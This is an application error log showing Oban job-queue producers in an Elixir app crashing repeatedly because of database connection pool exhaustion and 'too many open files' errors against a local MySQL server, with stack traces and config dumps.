State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:53:22.238483Z], limit: 10, uuid: "6d59333d-0e85-4cd3-9fc9-d93c2cfb507b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:22.238489Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60062>, refresh_timer: #Reference<0.2525715032.1068498948.85976>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:53:22.239333Z], limit: 5, uuid: "e8ede592-c426-4153-b323-46eaf76cc729", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:22.239338Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60063>, refresh_timer: #Reference<0.2525715032.1068498948.85991>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:53:22.240003Z], limit: 3, uuid: "a4a58d60-4829-4356-b6ec-2007a4b0d3f9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:22.240008Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60066>, refresh_timer: #Reference<0.2525715032.1121189889.227824>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:53:22.240146Z], limit: 5, uuid: "6112ba37-937a-46b2-97b7-d687b9047d95", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:22.240152Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60064>, refresh_timer: #Reference<0.2525715032.1121189889.227830>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:53:22.239214Z], limit: 20, uuid: "ec9c80f0-1857-4d33-82ac-8849d7f50c79", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:22.239220Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.72427>, refresh_timer: #Reference<0.2525715032.1099431938.72414>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:53:22.239420Z], limit: 50, uuid: "5f3d8e0a-e87a-4711-8d7a-dc9e7a13fa2f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:22.239427Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60065>, refresh_timer: #Reference<0.2525715032.1121189889.227797>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:35.698000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:35.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:37.435000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:38.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:38.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:40.853000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:41.736000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:42.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:42.497000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:43.427000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:53:34.239170Z], limit: 10, uuid: "9405d266-759f-425a-8e00-988aafbaea66", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:34.239176Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60297>, refresh_timer: #Reference<0.2525715032.1121189889.227938>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:53:34.239182Z], limit: 5, uuid: "71d170eb-928b-40d2-8b73-3b7c46a41270", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:34.239187Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60298>, refresh_timer: #Reference<0.2525715032.1121189889.227937>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:53:34.240242Z], limit: 50, uuid: "95f9e862-4be4-41c2-86f2-7f879520f7cd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:34.240247Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60295>, refresh_timer: #Reference<0.2525715032.1077673987.60281>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
